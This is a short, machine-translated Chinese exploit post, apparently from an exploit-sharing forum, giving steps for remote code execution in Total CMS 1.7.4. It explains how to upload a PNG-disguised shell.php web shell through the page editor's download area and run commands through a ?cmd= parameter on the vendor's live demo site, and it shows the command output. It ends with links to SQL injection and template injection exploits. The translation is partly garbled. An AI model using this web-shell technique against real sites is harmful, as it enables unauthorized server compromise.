总CMS 1.7.4-远程代码执行（RCE）

[HackApt-37 Team已验证会员]

＃利用标题:总CMS 1.7.4-远程代码执行（RCE）
＃日期: 02/06/2023
＃利用作者: TMRSWRR
＃版本: 1.7.4
＃供应商家庭页面: https://www.totalcms.co/
1）转到此页面，然后单击编辑页面按钮

Soccer Demo | CMS for RapidWeaver

www.totalcms.co

2）倒下后，您会看到下载区域
3）添加此区域shell.php文件
？png
.
？
我
4）打开此文件并写下命令后

https://www.totalcms.co/cms-data/depot/cmsssoccerdepot/shell.php?cmd=ID

结果:
？PNG .
uid=996（caddy）gid=998（caddy）组=998（caddy），33（www-data）
我

 

H

注册系统项目v1.0 -SQL注入身份验证旁路（SQLI）

H

MOTOCMS版本3.4.3-服务器端模板注入（SSTI）